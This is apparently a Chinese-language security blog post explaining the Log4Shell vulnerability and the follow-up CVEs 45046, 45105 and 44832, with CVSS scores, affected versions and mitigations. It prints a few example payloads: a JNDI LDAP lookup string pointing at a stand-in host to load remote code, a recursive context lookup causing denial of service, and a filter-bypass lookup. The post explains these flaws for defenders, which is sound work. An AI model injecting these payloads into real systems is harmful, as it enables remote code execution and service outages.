Log4Shell / Apache Log4j 日誌框架系統重大漏洞(CVE-2021–44228)

Kun Yi Pan
eCloudture
Published in
7 min readDec 21, 2021

2021/12/29 更新:CVE-2021–44832、建議升級版本至 2.17.1

2021/12/21 更新:Demo Link for 44228、45104

2021/12/18 更新:CVE-2021–45105、建議版本升級至 2.17.0

2021/12/16 更新:CVE-2021–45046、建議版本升級至 2.16.0

Apache Log4j 是一款開源 Java Log 工具,Log 日誌主要用來追蹤、紀錄程式函式與變數的運作狀況,並搭配其他工具週期性地做 Log Record 的統計分析,透過 Log 可以更有效率的追蹤程式執行的過程、稽核的憑據、協助開發 Debug、找出效能瓶頸做優化…等等,對開發人員或管理人員相當重要。

Log4j 可以針對 Log 做輸出類型控制、輸出方式、格式…等,大幅度增加資訊人員對於 Log 的控制能力,也支援透過 Config 文件做客製化彈性配置,在 Java 開發環境中為一大熱門工具。

Demo Link: BabooPan/Log4Shell-CVE-2021–44228-Demo: Log4Shell Demo with AWS (github.com)

CVE-2021–44832 漏洞說明

CVSS 漏洞評分為 6.6 分

原以為 2.17.0 可以讓大家順利度過聖誕新年假期的…
此漏洞發生於 Log4j2 beta7 到 2.17.0 、不包含 2.3.2 與 2.12.4 版本中。
當配置允許透過 System Property 修改日誌組態檔 log4j configuration 時,在該 configuration 當中可以透過 JDBC Appender 參照 remote datasource,並將 remote datasource 指向 JNDI URI 、夠過 JNDI 漏洞執行遠端操作。

在影片 Log4j 2 RCE Exploit PoC (CVE-2021–44832) — YouTube 中可以看到,將 log4j configuration 指向 localhost:8888/config.xml 來抓取日誌組態檔,在該組態檔 config.xml 中加入 JDBC Appender 區塊,當中有一配置 DataSource 能以 JNDI 做 Remote Lookups ;這時候便能將其導向事先配置的 JNDI Exploit 位址,將攻擊腳本注入是該 Log4j Server 中執行,實現 RCE 遠端執行攻擊。

在 2.17.1 版本中,已經確保需要先透過修改 System Property log4j2.enableJndiJdbc 為啟用後,才能透過 JndiManger 配置 JDBC Appender。
若要啟用 JNDI 也修改為要啟用 log4j2.enableJndiLookuplog4j2.enableJndiJms 以及 log4j2.enableJndiContextSelector 三個參數,而非過往參數 log4j2.enableJndi 來降低 Misconfiguration 的可能性。

CVE-2021–45105 漏洞說明

CVSS 漏洞評分為 7.5 分

在 Log4j 2.0-alpha1 到 2.16.0 版本中,沒有針對 self-referential lookup 不受控制的遞迴做防範行為。若應用場景啟用 Mapped Diagnostic Context (MDC)針對 Multi-thread 做 Log 日誌資訊調用時,攻擊者可以透過特殊的 Payload 與 Context Lookup ,如 ${ctx:user1:-${ctx:user}} 之類的讓 Context Map 不斷地去產生 user 的遞迴查詢,利用含有遞迴查詢的惡意 Injection,導致 Server 發生StackOverflowError 的錯誤、進而終止服務,實現 Denial of Service (DoS) 攻擊。

針對 Java8 在 2.17.0 版本之後,可以設定特定的查詢字串才能被遞迴執行;除此之外的其他用法僅解析頂層查詢,不解析任何巢狀查詢。

CVE-2021–45046 漏洞說明

CVSS 漏洞評分為 3.7 分 → 上調至 9 分,屬於 Critical 等級

經過 Praetorian 揭露,在 2.15.0 版本中仍可以透過特殊 Payload bypass JNDI Lookup 的限制,進而實現 Information leaks、RCE 和 LCE 的攻擊,故漏洞評分從原先的 3.7 拉升至 Critical 等級之 9 分

— — — — — — — — —

根據 CVE-2021–44228,可以透過修改 Log4j 配置來修復以 JNDI Lookup 觸發 RCE 的漏洞;在 Apache Log4j 2.15.0 版本的非預設配置情況下,仍有該漏洞發生的可能性,故列為新的漏洞編號。

2.15.0 版本將 JNDI LDAP Lookup 的範圍預設限制為 [localhost] ,也再次重申先前修改 log4j2.noFormatMsgLookup 的修復方法並無法完全排解;仍可以透過特殊的 Payload, 如 $${ctx:logicId} 等,以 work around 的方式繞過 Log4J_FORMAT_MSG_NO_LOOKUPS=True的 Filter 與確認來執行 JNDI Lookup 漏洞。

故在 2.16.0 版本中透過刪除 message lookup patterns 並調整 JNDI 功能預設為關閉,來加以排解此漏洞發生的可能性。

CVE-2021–44228 漏洞說明

此次漏洞屬於遠端程式碼執行 Remote Code Execution (RCE) 漏洞,在 CVSS 漏洞評分系統中被評判為最嚴重等級的 10 分,也被認為是近年來繼 Heartbleed、ShellShock 最重大的漏洞。

由 Log4j 中 JNDI Lookup 功能造成,該功能允許開發人員透過協議去讀取、查詢環境中的資料。JNDI Lookup 在特定情況底下,會因為「 : 」忽略 Prefix 的建立;如 ${jndi:ldap://examplel.com/demo} 的狀況下,JNDI 會忽略 jndi: 、同時紀錄並執行 ldap://exampe.ocm/demo 送出請求至 LDAP Server 查詢 demo 這個物件。

這便開了一道門讓攻擊者可以在任意的輸入區塊,如查詢欄位、聊天室、表單等地方輸入惡意請求,Log4j 便會透過 logger 機制記錄該輸入資訊,進而觸發 JNDI Lookup 將請求引導至有害的 LDAP Server 、載入惡意程式到 Log4j 服務伺服器上執行惡意攻擊,攻擊者甚至可以直接取得 Root Shell 權限、接管該 Server 作業系統。

除了涉及層面與服務相當廣泛之外,攻擊手法也極其簡單,在 Youtube 影片 CVE-2021–44228 — Log4j — MINECRAFT VULNERABLE! 中,可以看到在 Minecraft 聊天欄位中貼上相關語法的訊息,即可在該 Minecraft Server 中觸發 RCE、開啟 Server 端的應用程式;故 Apache 基金會等大廠也呼籲大家盡快更新、修復後重啟有用到 Log4j 的服務與應用程式。

影響版本

  • Apache Log4j 2.0-beta-9 和以上至 2.17.1 之前版本

安全建議措施

  1. 儘速升級至 Apache Log4j 最新 Log4j 2.17.1 以上的版本
  2. 確認運作環境是否含有 Apache log4j-core Jar 檔
  3. JndiLookup 從 classpath 中移除,停用 JNDI Lookup 功能,參考語法 zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Reference

--

--

Kun Yi Pan
eCloudture

Bob aka Baboo | 踩坑廢宅 | 一個孩子的爸 | STEPN Runner